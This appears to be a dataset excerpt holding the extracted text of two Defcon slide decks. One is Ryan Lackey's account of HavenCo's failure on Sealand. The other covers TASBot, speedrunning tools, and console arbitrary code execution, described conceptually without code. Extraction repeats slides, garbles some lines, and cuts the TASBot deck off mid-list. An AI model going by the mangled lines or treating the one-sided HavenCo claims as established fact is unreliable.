text
stringlengths
100
9.93M
category
stringclasses
11 values
Defcon 11 Las Vegas, NV USA FILE: dc11-havenco.sxi / 24/01/03 / Page 1 [email protected] HavenCo: what really happened HavenCo: what really happened Ryan Lackey <[email protected]> 3 August 2003 Defcon 11, Las Vegas, CA USA latest version and supporting docs at: http://www.metacolo.com/papers/dc11-havenco/ Defcon 11 Las Vegas, NV USA FILE: dc11-havenco.sxi / 24/01/03 / Page 1 [email protected] Background Background HavenCo was an offshore datahaven created by several idealists on the Principality of Sealand, a tiny artificial island fortess in th North Sea which claimed sovereignty due to location and history Sealand was a WW2 anti-aircraft platform abandoned by the British in international waters, subsequently occupied by pirate radio broadcasters and declared a sovereign nation • Status has been tested in minor court cases and affirmed, but no head-on challenge has ever been waged, and general policy of non-confrontation Defcon 11 Las Vegas, NV USA FILE: dc11-havenco.sxi / 24/01/03 / Page 1 [email protected] Why this talk? Why this talk? While working at Sealand, it was difficult to see the greater context; minor issues seemed major Commercial concerns caused optimism (intentional and unintentional) Some issues have only recently been resolved; no one knew what would happen until recently Very little information has been made public; press has been carefully managed. Insiders have no incentive to reveal the truth Now that I no longer work on Sealand, I can provide substantial non-NDA information to the public Defcon 11 Las Vegas, NV USA FILE: dc11-havenco.sxi / 24/01/03 / Page 1 [email protected]  On Confidentiality On Confidentiality Harm from discussing what happened is less than the risk to the public in continuing to operate without this knowledge Since the company is of uncertain operational status now, is there confidentiality for HavenCo Anything covered by NDA has been independently re- discovered using only information available to outsiders I have no current access to any confidential information belonging to HavenCo or Sealand Customer confidentiality maintained Defcon 11 Las Vegas, NV USA FILE: dc11-havenco.sxi / 24/01/03 / Page 1 [email protected]  ““Mea culpa” Mea culpa” Major misgiving about the whole thing is not being more open with the public earlier about the underling problems Certainly initially I wasn't keeping records and negotiating contracts as well as by the end; over-reliance on trust with business partners Probably the media attention got in the way of good judgement Not sure if it will be easier or harder for the next datahaven as a result; hopefully quality for customers will be increased Defcon 11 Las Vegas, NV USA FILE: dc11-havenco.sxi / 24/01/03 / Page 1 [email protected] Idea Idea Laws around the world, and in the US particularly, with respect to privacy and Internet freedom have become increasingly restrictive By finding a sovereign state willing to agree to explicitly protect these freedoms, a data haven for servers could be established, allowing users around the world the benefits of this data haven Defcon 11 Las Vegas, NV USA FILE: dc11-havenco.sxi / 24/01/03 / Page 1 [email protected] Idea (continued) Idea (continued) High security server infrastructure, including cryptographic protocols and software to distribute and secure applications, would provide security in excess of what the location itself could militarily. Eventually, this model could be replicated in many centers around the world, making it impossible to go after a small number of targets By making any restrictions upfront, minimal, and unchanging, and removing the ability to renege on terms later, there would be maximum certainty and freedom for users and no tough decisions for the operators Defcon 11 Las Vegas, NV USA FILE: dc11-havenco.sxi / 24/01/03 / Page 1 [email protected] Founding Founding In 1999, founders met in San Francisco to discuss plans and try to find a suitable location Negotiations with Sealand; visiting Southend and Sealand Raising angel funding from a small number of technology leaders (never successfully raised the full amount, even in the bull market of 1999/2000, due to lack of organization) Ryan moved to the UK/Sealand, others moved to Amsterdam and Sealand to begin conversion of Sealand into a datahaven and prepare the busines Defcon 11 Las Vegas, NV USA FILE: dc11-havenco.sxi / 24/01/03 / Page 1 [email protected] Launch Launch Launch with the cover of Wired magazine, which was done on an accelerated schedule, throwing off timelines Winstar UK failed to provision STM-1 circuit in time, leading to reliance on a single consumer 128Kbps tachyon VSAT terminal until winter 2000. This detail was not made public; instead, customers were deferred. Almost all time was spent dealing with press. No one took responsibility for sales, and there was no ticketing system, so basically all initial inquiries were lost or mishandled. (as has happened with many launches, such as DigiCash) Defcon 11 Las Vegas, NV USA FILE: dc11-havenco.sxi / 24/01/03 / Page 1 [email protected] Launch (continued) Launch (continued) In late 2000/early 2001, 4xE1 circuits (8M total) from London Telehouse to Cliff House, a tall private office building visible on the shore of Felixstowe from Sealand, were brought online. A FreeBSD box with 802.11b point-to-point brought data out to Sealand at higher speeds for the first time in January 2001. Initial customers were insiders personal boxes and a single offshore stock information source with multiple Windows NT web servers, already using other offshore colocation centers Defcon 11 Las Vegas, NV USA FILE: dc11-havenco.sxi / 24/01/03 / Page 1 [email protected] Launch (continued...) Launch (continued...) Press visitors to Sealand were told of the racks of machines filling the south tower lower leg; in reality, the 5 relay racks standing mostly empty above the NOC were the entirety of equipment. Critical components of technical infrastructure (tamper- resistant server modules, redundant network links via multiple paths, etc.) were not deployed for lack of funding. Lack of payment processing crippled new customers -- generally one was forced to incorporate in another location, get banking there, and once that had been done, rarely did potential customers come back to get a server on Sealand. Administrative operations disorganized; no real accounting, and wages to security staff paid in cash from personal accounts Defcon 11 Las Vegas, NV USA FILE: dc11-havenco.sxi / 24/01/03 / Page 1 [email protected] Departures Departures Two of the 3 founders left the company for personal reasons in late summer 2000 and returned to the US, leaving Ryan responsible for technical and sales, with Prince Michael of Sealand nominally in charge of the company, but primarily focused on his own fishing business The company continued to consume money from investors, paid in small increments via Western Union and credit cards, as well as accumulated a very substantial expense balance with employees Defcon 11 Las Vegas, NV USA FILE: dc11-havenco.sxi / 24/01/03 / Page 1 [email protected] Depatures (continued) Depatures (continued) Few new customers came, but by cutting costs (not paying salaries), HavenCo was basically break even in summer 2001 on cash costs, and thus by a marketing stretch, "profitable". Approximately 10 customers, primarily casino gaming Rate of customer acquisition increased, and costs continued to decrease, so general trend was toward genuine profitability and success. HAL2001 was a high point of customer growth Much cost savings came from Ryan living on Sealand full-time, responsible for all technical (non-marine/power generation and plant maintenance) and handling sales/bizdev/etc. while there. A sacrifice, but worthwhile for eventual success Defcon 11 Las Vegas, NV USA FILE: dc11-havenco.sxi / 24/01/03 / Page 1 [email protected] Underlying problem Underlying problem HavenCo was technically in breach of original agreement with Sealand government for not paying large cash sums on schedule to Sealand, due to reduced investor interest and no follow-on financing, but with Prince Michael as HavenCo's CEO, there was no rush to renegotiate, and there was a gentlemen's agreement that terms would be largely unchanged Little did we realize what a problem this would become... Defcon 11 Las Vegas, NV USA FILE: dc11-havenco.sxi / 24/01/03 / Page 1 [email protected] Coasting and Decline Coasting and Decline In Fall 2001, an advisor to Prince Michael's father became involved. Initially, was to try to advance Sealand's claims of sovereignty with international agencies, due to experience interacting with those agencies. Increasingly, this advisor took advantage of proximity to Michael to criticize the lassiez-faire attitude of HavenCo, and belief that it was a PR liability to Sealand's push for sovereignty. Additional expenses were also incurred, such as replacing the working 802.11b link with expensive telco Nx64 wireless bridge, and eliminating backup multi-path 802.11b and redundant connectivity, due to advisor. Defcon 11 Las Vegas, NV USA FILE: dc11-havenco.sxi / 24/01/03 / Page 1 [email protected] Coasting and Decline (continued) Coasting and Decline (continued) Informal and inconsistent restrictions were placed on HavenCo's operations, but largely ignored, in the truest form of banana republic. Reporters would often be given different stories by Sealand and HavenCo during interviews, with HavenCo going by the terms of original contracts, and Sealand and its advisor believing in the "norms of international practice and custom" and "nothing which would be offensive" (how British) Defcon 11 Las Vegas, NV USA FILE: dc11-havenco.sxi / 24/01/03 / Page 1 [email protected] Coasting and Decline (continued...) Coasting and Decline (continued...) Most new initiatives during this period(anonyimzing remailer, one of the most popular HavenCo services ever, discounted servers for open source projects, etc. ) were undertaken somewhat covertly to avoid raising the interest of Sealand and advisors. Often customers were told after initial contact to avoid providing further details of exactly what they were doing, provided they complied with AUP, to avoid causing interest by Sealand. Grumbling about applying taxation to Sealand-hosted companies and HavenCo Defcon 11 Las Vegas, NV USA FILE: dc11-havenco.sxi / 24/01/03 / Page 1 [email protected] Coasting and Decline (continued....) Coasting and Decline (continued....) "If we were hosting a terrorist server, we'd cooperate on the sly with the authorities" policy; without adequate technical measures (tamper resistant machines, and at least encrypted disks), this was a very real possibility. Financial stability of HavenCo continued to be questionable -- large new expenses, coupled with reduced potential for future business, and mounting unpaid debts to insiders. Also, lack of formal operating agreement with Sealand, especially in light of new attempts to restrict business, was a major concern Defcon 11 Las Vegas, NV USA FILE: dc11-havenco.sxi / 24/01/03 / Page 1 [email protected] Coasting and Decline (continued.....) Coasting and Decline (continued.....) HavenCo had not issued stock to investors/employees/etc., despite re-incorporating for this purpose in Cyprus after moving from Anguilla. Concerns raised as to nature of delay -- bad faith, or just ineffective management? Several large DoS attacks against HavenCo customers caused outages, as well as equipment outages. Some outages lasted as long as 3-4 days once the redundant circuits were removed. Defcon 11 Las Vegas, NV USA FILE: dc11-havenco.sxi / 24/01/03 / Page 1 [email protected] Coasting and Decline (continued......) Coasting and Decline (continued......) Bankruptcy of Winstar, vendor of the original 4xE1, combined with involvement of Sealand's advisor (also a telcomms "expert"), caused >2 month outage where connectivity was completely lost to Sealand. Within a week, a VSAT link was re-established, but customers continually complained about 500+ms latency and very low bandwidth, causing many to leave and eliminating growth. . Sealand people only present when press visits underway; otherwise it was 1-2 people, including Ryan Defcon 11 Las Vegas, NV USA FILE: dc11-havenco.sxi / 24/01/03 / Page 1 [email protected] Selling out/Ultimatum Selling out/Ultimatum During 2002, several very large and potential profitable businesses came to HavenCo after extensive negotiations and tried to arrange hosting One, an online movie rental business, met in London with Ryan, Michael, and Sealand advisors. They offered to host and comply with all laws, but were ultimately nixed by Sealand's advisors due to potential for negativepublicity. If Sealand was so concerned about negative publicity, did they have faith in their legal status? Defcon 11 Las Vegas, NV USA FILE: dc11-havenco.sxi / 24/01/03 / Page 1 [email protected] Selling out/Ultimatum (continued) Selling out/Ultimatum (continued) If Sealand was so concerned about negative publicity, did they have faith in their legal status? Ryan decided to depart in a gradual way through 2002/2003 and pursue other opportunities, after automating operations and creating an ongoing operations plan. With limited potential to bring in "acceptable" customers, and continued borderline profitability, HavenCo was at best stagnating. Lack of contracts and share issuane also a major concern. Sealand decided to find a local redhat webhosting admin to try to assume responsibility for operations on a part-time basis Defcon 11 Las Vegas, NV USA FILE: dc11-havenco.sxi / 24/01/03 / Page 1 [email protected] Selling out/Ultimatium (continued...) Selling out/Ultimatium (continued...) My plans to establish a 10kg gold backed online electronic currency at HavenCo using anonymous digital cash technology shortly after DC X were nixed by Sealand; I was forced to avoid any connection between the two, and will wait to deploy until after other hosting is in place Defcon 11 Las Vegas, NV USA FILE: dc11-havenco.sxi / 24/01/03 / Page 1 [email protected] ““The Coup” The Coup” In November 2002, Sealand's advisor demanded the ticketing system for customer inquiries be removed, and customer mail handled by his girlfriend, resident in the UK. Particularly, it was demanded that all billing information be handled in the UK by this person, rather than on Sealand in an automated web-based billing system. (presumably as a preliminary to taking control of the company) Ryan refused, on grounds of security, unless technical systems were put in place to protect customer confidentiality, or the CEO decided it was worth the risk after being informed. This debate continued for several days though email, and apparently there was behind the scenes scheming in the UK. Defcon 11 Las Vegas, NV USA FILE: dc11-havenco.sxi / 24/01/03 / Page 1 [email protected] ““The Coup” (continued) The Coup” (continued) After meeting in Philadelphia PA in late November, Ryan was surprised to learn that Sealand wanted to take over HavenCo. A mutually beneficial agreement was worked out, under which shares would be issued, debt would be repaid to all at an equal rate, and the company would continue to operate. Ryan would resell HavenCo services, as well as working on independent projects. After the agreement, Ryan flew back to the UK, recovered personal belongings and handed over administrative access to designated people. Defcon 11 Las Vegas, NV USA FILE: dc11-havenco.sxi / 24/01/03 / Page 1 [email protected] ““The Coup” (continued...) The Coup” (continued...) Within 5 days of leaving Sealand, Michael and advisors had broken the agreement; refusing to allow resale of services, attempting to enforce a blanket non-compete (when none was signed at any point, as well as being unlawful if so), and stealing personal servers on Sealand left as part of the arranged deal. Shares have still not been issued; outstanding unreimbursed expenses are as far as I am aware not being repaid (I've not seen any of the USD 220k owed to me) Defcon 11 Las Vegas, NV USA FILE: dc11-havenco.sxi / 24/01/03 / Page 1 [email protected] What Now What Now HavenCo continues to limp along, although as far as I am aware customers continue to leave, and few if any new ones join. This can be easily determined through IP address utilization on the 217.64.32.0/20 subnet, and specifically the 217.64.32.35/24 and 217.64.32.36/24 subnets) metacolo, a 9-datacenter distributed replacement for HavenCo using tamper-resistant hardware, low costs, automation, and replication, is growing While I could sue HavenCo and/or directors for breach of contract, etc., the cost would likely exceed the return, as HavenCo has no assets, and it would presumably lead to a negative resolution of the Sealand sovereignty issue Defcon 11 Las Vegas, NV USA FILE: dc11-havenco.sxi / 24/01/03 / Page 1 [email protected] What now (continued) What now (continued) As far as I am aware, all international organizations asked continue to refuse Sealand's claims of sovereignty. Perhaps this will change, and Sealand will some day be on the UN Statistical Bulletin, but this seems unlikely. Defcon 11 Las Vegas, NV USA FILE: dc11-havenco.sxi / 24/01/03 / Page 1 [email protected] Is HavenCo “still alive”? (pro) Is HavenCo “still alive”? (pro) Website (in US) still online Network mostly reachable Continue to answer email from prospective clients Sealand is still physically there with 1-2 people on it Defcon 11 Las Vegas, NV USA FILE: dc11-havenco.sxi / 24/01/03 / Page 1 [email protected] Is HavenCo “still alive”? (con) Is HavenCo “still alive”? (con) No new customers, old customers leaving No shares issued or shareholder info/meetings Large outstanding liabilities Contracts and AUPs violated Company registration lapsed 2Mbps of DoS traffic at 217.64.32.0/20 could shut the entire company down Defcon 11 Las Vegas, NV USA FILE: dc11-havenco.sxi / 24/01/03 / Page 1 [email protected]  Best guess as to HavenCo status Best guess as to HavenCo status HavenCo is probably effectively “nationalized”; investors will likely never see any return, barring lawsuits Sealand will continue to take money from HavenCo customers and operate on a zero cost basis until major problems develop, or all existing customers leave No substantial growth or change in business model Sealand will continue to only accomodate customers without PR liability, and may turn over information No change in Sealand legal status anticipated Precarious situation for customers without other sites Defcon 11 Las Vegas, NV USA FILE: dc11-havenco.sxi / 24/01/03 / Page 1 [email protected] Previous Sealand ventures Previous Sealand ventures Ship registrations have in the past been done, and then retracted, leading to seizure of a ship by US authorities Substantial fraudulent Television broadcasting to SE UK from Sealand attempted and then withdrawn, perhaps due to concerns over legal status and ITU/UK response Amateur radio day was scheduled, and then hurridly cancelled, again due to fears of UK and ITU Proposals to expand Sealand physical territory have come and gone Even coin/stamp issues have not proceeded Defcon 11 Las Vegas, NV USA FILE: dc11-havenco.sxi / 24/01/03 / Page 1 [email protected] Lessons Learned Lessons Learned Political and contract stability is critical Technical costs should be spread over as many sites as possible Ultimately, replication is key Customers want single point of contact for advanced services Defcon 11 Las Vegas, NV USA FILE: dc11-havenco.sxi / 24/01/03 / Page 1 [email protected] Political/Deployment Political/Deployment Globalization is making unilateral action by a single state, even a fully recognized one, increasingly difficult Even a small group of people in power will violate agreements if they are capable of doing so; for single-round games, only force can enforce agreements. Many international organizations are very sly at rejecting claims of sovereignty, and drag the process out indefinitely Sovereignty alone has little value without commercial support from banks, etc. Defcon 11 Las Vegas, NV USA FILE: dc11-havenco.sxi / 24/01/03 / Page 1 [email protected] Technical Technical Once a flawed system is deployed, maintenance costs can rapidly balloon to higher than an efficient but complete system's total cost. Customers don't often ask for objective measurements of performance, and have misperceptions of what measurements are indicative of their underlying interests. Customers generally want to be able to get all services from a single organization, if possible (hence use of consultants), and need clear value propositions Defcon 11 Las Vegas, NV USA FILE: dc11-havenco.sxi / 24/01/03 / Page 1 [email protected] Personal Personal Maxing out your personal credit cards to pay the salaries of random physical security staff at your company, then not getting reimbursed by the company, is annoying. (I still have ~USD 40k in debt due to HavenCo, and little hope of being repaid USD 220k in expenses from the company) While working on an offshore datahaven is novel, being the only technical and pro-liberty employee in a larger company is a definite downside. Promises that shares will be issued in the future, debts will be repaid, etc. are meaningless without documentation, and often are meaningless with documentation. Defcon 11 Las Vegas, NV USA FILE: dc11-havenco.sxi / 24/01/03 / Page 1 [email protected] Publicity Publicity Press often will report on what one another have already reported on; a single inaccurate quote will echo for some time through multiple sources. Very few reporters are technically capable of verifying statements, and lying outright, or at least bending the truth, for commercial advantage is very tempting, but ultimately often bad. ("downstairs are more servers", is technically true, but it's a few 386es powered off, is borderline) Defcon 11 Las Vegas, NV USA FILE: dc11-havenco.sxi / 24/01/03 / Page 1 [email protected] What next What next Ultimately, I still believe in secure client systems, secure servers in secure locations (legally and technically), and secure protocols over available but insecure networks. I plan to deploy or work with those who deploy each -- Defcon 11 Las Vegas, NV USA FILE: dc11-havenco.sxi / 24/01/03 / Page 1 [email protected] Deployment goals for future: Deployment goals for future: Secure clients using free OSes and tamper-resistant PDAs and other devices Servers using hardware tamper-resistant modules, replication/distribution, and cryptography Server colocation in secure spaces within other carrier facilities legally advantages locations throughout the world, allowing users to tailor the regulatory environment to their application. Secure protocols and applications using cryptography Defcon 11 Las Vegas, NV USA FILE: dc11-havenco.sxi / 24/01/03 / Page 1 [email protected] Deployment goals for future (...) Deployment goals for future (...) Eventually, reliable and available communications using IP networks and possibly LEO satellite constellations, RF, and fiber. Support services to allow true location-independence and location-selection by all users -- anonymous electronic cash, and Specialized hardware devices for certain physical industries, putting crypto into real-world objects Defcon 11 Las Vegas, NV USA FILE: dc11-havenco.sxi / 24/01/03 / Page 1 [email protected] What next What next I'm developing the most profitable parts of this first, and using it to self-finance the rest of the operation. I'm convinced we're seeing the accelerated of a lot of anti- liberty trends, and while education, publicity, legal challenges, etc. are essential, ultimately what will win or lose is deployed technical systems. I'm currently traveling around the world, but will probably try to establish some kind of high-tech free trade zone in a friendly country in the near future, incorporating datacenter, office, conference, and housing space, fed with copious bandwidth, and with explicit legal protections for autonomy and status, backed by something real. Defcon 11 Las Vegas, NV USA FILE: dc11-havenco.sxi / 24/01/03 / Page 1 [email protected] Projects I am involved with Projects I am involved with metacolo; improved datahaven, distributed, tamper- resistant, “meeting points” for secure traffic Secure tech for corporate agents nymserver for mixminion network PDA crypto and VoIP Electronic cash – gaming, porn, offshore “underground” transactions, and offshore investing are major markets, something will eventually happen Tunneling technology – dns, http, https/ssl, ssh, ipsec Some physical products for commerce Defcon 11 Las Vegas, NV USA FILE: dc11-havenco.sxi / 24/01/03 / Page 1 [email protected]  Other interesting projects Other interesting projects Continued evolution of open source software, operating systems, etc. Deployment of cryptography in more and more apps – TLS, particularly Cheap access to space is undergoing a revolution Free State Project (http://www.freestateproject.org/) Defcon 11 Las Vegas, NV USA FILE: dc11-havenco.sxi / 24/01/03 / Page 1 [email protected] Resources Resources Sample chapter of book about HavenCo (http://havenco.venona.com/) “Leave no trace” - Book/document on how to be anonymous on the Internet ( http://www.metacolo.com/resources/leave-no-trace/) Mailing lists: (metacolo and future projects) http://lists.metacolo.com/mailman/listinfo/ (discussion of havenco, book, etc.) http://lists.venona.com/mailman/listinfo/ Defcon 11 Las Vegas, NV USA FILE: dc11-havenco.sxi / 24/01/03 / Page 1 [email protected] Q&A Q&A
pdf
dwangoAC TASBot the perfectionist The amazing life & achievements of... Twitch.tv/dwangoAC twitter @MrTASBot Allan 'dwangoAC' Cecil http://acbit.net Presented and written by... Allan 'dwangoAC' Cecil President of the North Bay Linux Users’ Group http://nblug.org http://acbit.net Presented and written by... Allan 'dwangoAC' Cecil President of the North Bay Linux Users’ Group Senior Engineer at Cyan Ciena http://nblug.org http://www.ciena.com/ http://acbit.net Presented and written by... Allan 'dwangoAC' Cecil President of the North Bay Linux Users’ Group Senior Engineer at Cyan Ciena http://nblug.org http://www.ciena.com/ http://tasvideos.org/DwangoAC.html http://tasbot.net http://acbit.net Presented and written by... Speedrunning Human limits Playing games fast http://speeddemosarchive.com/ Playing games fast http://speeddemosarchive.com/ ● Inspiration: in-game completion timers ● SpeedDemosArchive.com and others track fastest completion times ● Strict rules + peer review: no cheats, no macros ● Typically highly entertaining ● Many categories, ranging from "any%" to "low% no major glitches" Playing games fast http://speeddemosarchive.com/ ● Inspiration: in-game completion timers Games Done Quick Games Done Quick Speedrunning marathons for charity streamed live on Twitch Classic GDQ (2010), Awesome GDQ (2011-), Summer GDQ (2011-) Abusing games https://youtu.be/kIIzE_H7D2g?t=5m27s AGDQ 2014 Abusing games https://youtu.be/kIIzE_H7D2g?t=5m27s AGDQ 2014 Metroid 15:43 World Record https://www.youtube.com/watch?v=67kQ3l-1qMs https://www.youtube.com/watch?v=JXtUwIW7cL8 Momodora by Halfcoordinated - SGDQ 2016 Punch-Out blindfolded by Sinister1 - AGDQ 2014 https://www.youtube.com/watch?v=CvzIb53Lcno https://www.youtube.com/watch?v=JXtUwIW7cL8 Momodora by Halfcoordinated - SGDQ 2016 Even 1-handed, blindfolded... Beyond standard limits! Punch-Out blindfolded by Sinister1 - AGDQ 2014 https://www.youtube.com/watch?v=CvzIb53Lcno https://www.youtube.com/watch?v=JXtUwIW7cL8 Momodora by Halfcoordinated - SGDQ 2016 TAS verb / noun ~ TASer noun “I’m a TASer working on Tetris.” / “I’m TASing Tetris.” “I TAS’ d T t i ” / “Th d TAS f T t i ” TAS verb / noun ~ TASer noun “I’m a TASer working on Tetris.” / “I’m TASing Tetris.” “I TAS’ d T t i ” / “Th d TAS f T t i ” Tool-Assisted Superplays Speedruns From human limits To hardware limits TAS verb / noun ~ TASer noun “I’m a TASer working on Tetris.” / “I’m TASing Tetris.” “I TAS’ d T t i ” / “Th d TAS f T t i ” Tool-Assisted Superplays Speedruns From human limits To hardware limits Harder Faster Better Stronger Harder Faster Better Stronger ● Early PC game TAS’s: Savestates, slow motion, and recording tools Harder Faster Better Stronger ● Early PC game TAS’s: Savestates, slow motion, and recording tools ● ~1999: Doom Done Quick in 19:41 https://www.youtube.com/watch?v=BEcrJLM4GgU http://web.archive.org/web/20031203222907/http://soramimi.egoism.jp/emu.htm https://www.youtube.com/watch?v=BEcrJLM4GgU http://web.archive.org/web/20031203222907/http://soramimi.egoism.jp/emu.htm ● Tools meant hardware limits became the only limits Inhuman skill on display http://tasvideos.org/WelcomeToTASVideos.html https://web.archive.org/web/20060511210906/http://bisqwit.iki.fi/nesvideos/ ○ Competitors should admit to doping ○ Videos made with TAS tools should be labeled ● Tools meant hardware limits became the only limits ● TASing looked like the Doped Olympics Inhuman skill on display http://tasvideos.org/WelcomeToTASVideos.html https://web.archive.org/web/20060511210906/http://bisqwit.iki.fi/nesvideos/ ● NESVideos created by Bisqwit in 2004 ○ Competitors should admit to doping ○ Videos made with TAS tools should be labeled ● Tools meant hardware limits became the only limits ● TASing looked like the Doped Olympics Inhuman skill on display http://tasvideos.org/WelcomeToTASVideos.html https://web.archive.org/web/20060511210906/http://bisqwit.iki.fi/nesvideos/ ● NESVideos created by Bisqwit in 2004 ○ Now at TASVideos.org with runs for many platforms ○ Competitors should admit to doping ○ Videos made with TAS tools should be labeled ● Tools meant hardware limits became the only limits ● TASing looked like the Doped Olympics Inhuman skill on display http://tasvideos.org/WelcomeToTASVideos.html https://web.archive.org/web/20060511210906/http://bisqwit.iki.fi/nesvideos/ the birth of TASBot the birth of TASBot Console verified Pushing hardware limits the birth of TASBot Console verified Pushing hardware limits Console emulators http://tasvideos.org/Lsnes.html lsnes BizHawk http://tasvideos.org/BizHawk.html Rerecording frameworks Hourglass NetHack specific tools http://tasvideos.org/EmulatorResources/Hourglass.html http://tasvideos.org/GameResources/DOS/Nethack.html Emulation accuracy evolution ● Clean room reverse engineering ○ or stolen manuals ● Early emulators: highly inaccurate Emulation accuracy evolution ● bsnes: extreme accuracy, poor usability ● Clean room reverse engineering ○ or stolen manuals ● Early emulators: highly inaccurate Emulation accuracy evolution http://arstechnica.com/gaming/2011/08/accuracy-takes-power-one-mans-3ghz-quest-to-build-a-perfect-snes-emulator/ https://web.archive.org/web/20120915125144/http://byuu.org/bsnes/accuracy ● bsnes: extreme accuracy, poor usability ● Clean room reverse engineering ○ or stolen manuals ● Early emulators: highly inaccurate Emulation accuracy evolution http://arstechnica.com/gaming/2011/08/accuracy-takes-power-one-mans-3ghz-quest-to-build-a-perfect-snes-emulator/ https://web.archive.org/web/20120915125144/http://byuu.org/bsnes/accuracy http://byuu.org/emulation/higan/ higan ● bsnes: extreme accuracy, poor usability ● Clean room reverse engineering ○ or stolen manuals ● Early emulators: highly inaccurate ⇒ match actual hardware, frame for frame Emulation accuracy evolution http://arstechnica.com/gaming/2011/08/accuracy-takes-power-one-mans-3ghz-quest-to-build-a-perfect-snes-emulator/ https://web.archive.org/web/20120915125144/http://byuu.org/bsnes/accuracy http://byuu.org/emulation/higan/ higan Memory searching, Lua scripting, disassembly https://www.lua.org/ ● More than just frame advance and savestates Memory searching, Lua scripting, disassembly https://www.youtube.com/watch?v=RtaS4KEl4Qc https://www.lua.org/ ● More than just frame advance and savestates ● Find a specific value: save, reset memory search, run ○ Search based on conditions, repeat Memory searching, Lua scripting, disassembly https://www.youtube.com/watch?v=RtaS4KEl4Qc https://www.lua.org/ ● More than just frame advance and savestates ● Find a specific value: save, reset memory search, run ○ Search based on conditions, repeat Memory searching, Lua scripting, disassembly ● Disassembly of RAM or ROM for complete understanding https://www.youtube.com/watch?v=RtaS4KEl4Qc https://www.lua.org/ Abusing handwriting recognition https://youtu.be/mSFHKAvTGNk?t=29m53s AGDQ 2016 Abusing handwriting recognition Editing memory live directly in the game SGDQ 2016 https://youtu.be/EHfw-BEuRO8?t=12m28s https://youtu.be/mSFHKAvTGNk?t=29m53s AGDQ 2016 TAS ⇔ Infosec equivalents ● Savestate = VM snapshot ● Frame advance = VM CPU step / tick ● Glitch = Vulnerability ● Arbitrary Code Execution = Exploit ● Console verification = Evil maid attack ⇒ TAS = fun, technical, educational AGDQ 2016 https://youtu.be/pj7RE2DcRgc?t=50m23s SMB3 Total Control Glitchfest by Lord Tom Super Mario World Super Mario Bros. TASBot Super Mario World Super Mario Bros. TASBot plays Super Mario World Super Mario Bros. TASBot plays Early console verification devices Early console verification devices ● 2009 ○ a PIC to press NES buttons [true] ● 2011 ○ NESBot [micro500]: first replay of SMB1 ■ Used at SGDQ 2011 on SMB2 and W&W 3 Early console verification devices https://www.youtube.com/watch?v=KQXVgMKJEDY ● 2009 ○ a PIC to press NES buttons [true] ● 2011 ○ NESBot [micro500]: first replay of SMB1 ■ Used at SGDQ 2011 on SMB2 and W&W 3 ○ Droid64 [SoulCal] ● 2012 ○ N64 [micro500] Early console verification devices https://www.youtube.com/watch?v=KQXVgMKJEDY ● 2009 ○ a PIC to press NES buttons [true] ● 2013 ○ SNES and Genesis Arduino bot [GhostSonic] ○ NES/SNES replay device [true] ■ Streaming capable and inexpensive but limited datarates ● 2013 ○ SNES and Genesis Arduino bot [GhostSonic] ○ NES/SNES replay device [true] ■ Streaming capable and inexpensive but limited datarates ● 2014 ○ Nintendo R.O.B + board + legos: "TASBot" ● 2013 ○ SNES and Genesis Arduino bot [GhostSonic] ○ NES/SNES replay device [true] ■ Streaming capable and inexpensive but limited datarates ● 2014 ○ Nintendo R.O.B + board + legos: "TASBot" ● 2015 ○ Multireplay device [true]: self-contained ⇒ faster datarates ● 2013 ○ SNES and Genesis Arduino bot [GhostSonic] ○ NES/SNES replay device [true] ■ Streaming capable and inexpensive but limited datarates ● 2014 ○ Nintendo R.O.B + board + legos: "TASBot" ● 2015 ○ Multireplay device [true]: self-contained ⇒ faster datarates ○ Game Boy Player Player [endrift] (GBA on GameCube) TASBot the perfectionist Super Mario World Super Mario Bros. TASBot Super Mario World Super Mario Bros. TASBot plays Super Mario World Super Mario Bros. TASBot plays Super Mario World Super Mario Bros. TASBot plays in Super Mario World Super Mario Bros. TASBot plays in SMB in SMW by p4plus2 and Masterjun http://arstechnica.com/gaming/2015/01/pokemon-plays-twitch-how-a-robot-got-irc-running-on-an-unmodified-snes/ https://www.youtube.com/watch?v=YHyaTCuZRzM credits: p4plus2, Masterjun TASBot plays the SNES classic... http://arstechnica.com/gaming/2015/01/pokemon-plays-twitch-how-a-robot-got-irc-running-on-an-unmodified-snes/ https://www.youtube.com/watch?v=YHyaTCuZRzM credits: p4plus2, Masterjun TASBot plays the SNES classic... Exploits it via input... http://arstechnica.com/gaming/2015/01/pokemon-plays-twitch-how-a-robot-got-irc-running-on-an-unmodified-snes/ https://www.youtube.com/watch?v=YHyaTCuZRzM credits: p4plus2, Masterjun TASBot plays the SNES classic... Exploits it via input... A homemade port of the NES classic is sent as payload... http://arstechnica.com/gaming/2015/01/pokemon-plays-twitch-how-a-robot-got-irc-running-on-an-unmodified-snes/ https://www.youtube.com/watch?v=YHyaTCuZRzM credits: p4plus2, Masterjun TASBot plays the SNES classic... Exploits it via input... A homemade port of the NES classic is sent as payload... A 8-bit game, on a 16-bit system! https://www.youtube.com/watch?v=vAHXK2wut_I&index=1&list=PLZctv-xoGbfUolvrW5YTi9J1KnY0l0Xch dotsarecool You can write specific sequences in the Object Attribute Memory by using specific objects at specific coordinates, https://www.youtube.com/watch?v=vAHXK2wut_I&index=1&list=PLZctv-xoGbfUolvrW5YTi9J1KnY0l0Xch dotsarecool Since CPU instructions are made of specific binary sequences... https://www.youtube.com/watch?v=vAHXK2wut_I&index=1&list=PLZctv-xoGbfUolvrW5YTi9J1KnY0l0Xch dotsarecool Since CPU instructions are made of specific binary sequences... ...we can take over execution the way we want. https://www.youtube.com/watch?v=vAHXK2wut_I&index=1&list=PLZctv-xoGbfUolvrW5YTi9J1KnY0l0Xch dotsarecool Since CPU instructions are made of specific binary sequences... ...we can take over execution the way we want. So, just via input... https://www.youtube.com/watch?v=vAHXK2wut_I&index=1&list=PLZctv-xoGbfUolvrW5YTi9J1KnY0l0Xch dotsarecool Since CPU instructions are made of specific binary sequences... ...we can take over execution the way we want. So, just via input... ...you can directly trigger the credits sequence! TASLink ~184 Kbps was too limiting http://taslink.org 32Mhz FPGA Papilio Pro's Spartan 6 LX max poll rate of the serial port (2Mb/s) http://papilio.gadgetfactory.net/index.php?n=Papilio.PapilioPro SMB1+2+3+Lost Levels played simultaneously during SGDQ 2016 https://youtu.be/EHfw-BEuRO8?t=58m29s Anatomy of an Arbitrary Code Execution 1. Input exploit Anatomy of an Arbitrary Code Execution Pokemon Red 1. Input exploit 2. Take over the Super GameBoy Anatomy of an Arbitrary Code Execution Pokemon Red 1. Input exploit 2. Take over the Super GameBoy 3. Gain full access to the Super Nintendo Anatomy of an Arbitrary Code Execution Pokemon Red 1. Input exploit 2. Take over the Super GameBoy 3. 